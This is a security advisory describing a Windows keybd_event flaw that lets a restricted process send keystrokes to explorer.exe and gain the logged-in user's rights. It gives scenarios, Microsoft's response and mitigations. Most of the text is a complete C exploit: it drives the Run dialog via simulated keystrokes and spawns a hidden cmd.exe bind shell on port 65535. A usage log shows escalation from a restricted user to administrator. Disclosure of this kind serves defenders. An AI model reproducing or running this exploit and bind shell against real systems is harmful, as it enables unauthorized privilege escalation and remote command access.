[NT] Microsoft Windows keybd_event Validation Vulnerability

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  Microsoft Windows keybd_event Validation Vulnerability
------------------------------------------------------------------------


SUMMARY

As is known, with the current Microsoft Security Model, applications that 
share the destkop are able to send messages between them. Every Desktop 
application is able to obtain the handle of every process executed in the 
same desktop.

This feature and the possibility of any application to emulate a virtual 
keyboard by sending key strokes, allows every process to send messages and 
keys as if there were an interactive user, this in turn can be used to 
elevate the attacker's security privileges.

DETAILS

Attack Scenario:
There area at least two known scenarios that will allow this attack to 
succeed.

 - Runas Service allows application execution as if it were launched by 
another user. In some cases, a user could execute an untrusted application 
(like malware) with restricted rights by downgrading privileges and 
executing a shell where that suspicious application will be executed and 
tested. This application shares the same desktop as all the user 
applications.

 - Every running service with the flag INTERACT_WITH_DESKTOP will be able 
to access user Desktop.

Attack:
If an attacker is able to gain access to an application executed in any of 
those ways (direct malware execution or exploiting a security flaw in that 
software) by using Windows APIs (keybd_event or SendKeys) he will be able 
to send keystrokes that will be handled by explorer.exe allowing it to 
execute arbitrary code with logged user rights. This attack will allow to 
bypass security restrictions offered by the Runas Service and elevate 
privileges.

Vendor Response:
After talking with MSRC (Microsoft Security Response Center) Microsoft 
have identified this vulnerability as a design flaw, where the desktop is 
the security limit, so there is currently no solution because some 
automatic tools and virtual keyboard included in Windows XP would not work 
if this feature did not exist.

Solution:
 - Only allow trusted applications to be run as a service with access to 
the desktop.
 - Do not use Runas Service in production environments.

Exploit:
/*
 * Microsoft Windows keybd_event validation vulnerability.
 * Local privilege elevation
 *
 * Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com )
 * I aki Lopez ( ilo _@_ reversing.org )
 *
 * Platforms afected/tested:
 *
 * - Windows 2000
 * - Windows XP
 * - Windows 2003
 *
 *
 * Original Advisory: http://www.haxorcitos.com
 * http://www.reversing.org
 *
 * Exploit Date: 08 / 06 / 2005
 *
 * Orignal Advisory:
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * Attack Scenario:
 *
 * a) An attacker who gains access to an unprivileged shell/application 
executed
 * with the application runas.
 * b) An attacker who gains access to a service with flags 
INTERACT_WITH_DESKTOP
 *
 * Impact:
 *
 * Due to an invalid keyboard input validation, its possible to send keys 
to any
 * application of the Desktop.
 * By sending some short-cut keys its possible to execute code and elevate 
privileges
 * getting loggued user privileges and bypass runas/service security 
restriction.
 *
 * Exploit usage:
 *
 * C:\>whoami
 * AQUARIUS\Administrador
 *
 * C:\>runas /user:restricted cmd.exe
 * Enter the password for restricted:
 * Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
 *
 *
 * Microsoft Windows 2000 [Versi n 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\WINNT\system32>cd \
 *
 * C:\>whoami
 * AQUARIUS\restricted
 *
 * C:\>tlist.exe |find "explorer.exe"
 * 1140 explorer.exe Program Manager
 *
 * C:\>c:\keybd.exe 1140
 * HANDLE Found. Attacking =)
 *
 * C:\>nc localhost 65535
 * Microsoft Windows 2000 [Versi n 5.00.2195]
 * (C) Copyright 1985-2000 Microsoft Corp.
 *
 * C:\>whoami
 * whoami
 * AQUARIUS\Administrador
 *
 *
 * DONE =)
 *
 */

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
 DWORD hwndid;
    int i;


 GetWindowThreadProcessId(hwnd,&hwndid);

 if (hwndid == pid){
    /*
      Replace keybd_event with SendMessage() and PostMessage() calls
    */
        printf("HANDLE Found. Attacking =)\n");
        SetForegroundWindow(hwnd);
        keybd_event(VK_LWIN,1,0,0);
        keybd_event(VkKeyScan('r'),1,0,0);
        keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
        keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
        for(i=0;i<strlen(buf);i++) {
            if (buf[i]==':') {
                keybd_event(VK_SHIFT,1,0,0);
                keybd_event(VkKeyScan(buf[i]),1,0,0);
                keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
                keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
            } else {
                if (buf[i]=='\\') {
                    keybd_event(VK_LMENU,1,0,0);
                    keybd_event(VK_CONTROL,1,0,0);
                    keybd_event(VkKeyScan(' '),1,0,0);
                    keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VkKeyScan(' '),1,KEYEVENTF_KEYUP,0);
                } else {
                    keybd_event(VkKeyScan(buf[i]),1,0,0);
                    keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
                }
            }
        }
        keybd_event(VK_RETURN,1,0,0);
        keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
        exit(1);
    }
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

 SOCKET s,s2;
 STARTUPINFO si;
     PROCESS_INFORMATION pi;
 WSADATA HWSAdata;
 struct sockaddr_in sa;
 int len;

 if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
 if 
((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
exit(1); }

    sa.sin_family = AF_INET;
    sa.sin_port = (USHORT)htons(HAXORCITOS);
    sa.sin_addr.s_addr = htonl(INADDR_ANY);
    len=sizeof(sa);
    if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
return(-1); }
    if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
    s2 = accept(s,(struct sockaddr *)&sa,&len);
    closesocket(s);

 ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
 si.cb = sizeof(si);
 si.wShowWindow = SW_HIDE;
    si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput = (void *) s2; // SOCKET
    si.hStdOutput = (void *) s2;
    si.hStdError = (void *) s2;
    if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 
0,NULL,NULL,&si,&pi)) {
        doFormatMessage(GetLastError());
        return(-1);
    }

    WaitForSingleObject( pi.hProcess, INFINITE );
 closesocket(s);
 closesocket(s2);
    printf("SALIMOS...\n");
    Sleep(5000);
    return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
    HWND console_wnd = NULL;
    
 if (argc >= 2) {
        pid = atoi (argv[1]);
        strncpy(buf,argv[0],sizeof(buf)-1);
     EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
    } else {
        BindShell();
    }
}
/**************************************************************/


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Frederic Charpentier.
The original article can be found at:  
<http://www.haxorcitos.com/MSRC-6005bgs-EN.txt> 
http://www.haxorcitos.com/MSRC-6005bgs-EN.txt



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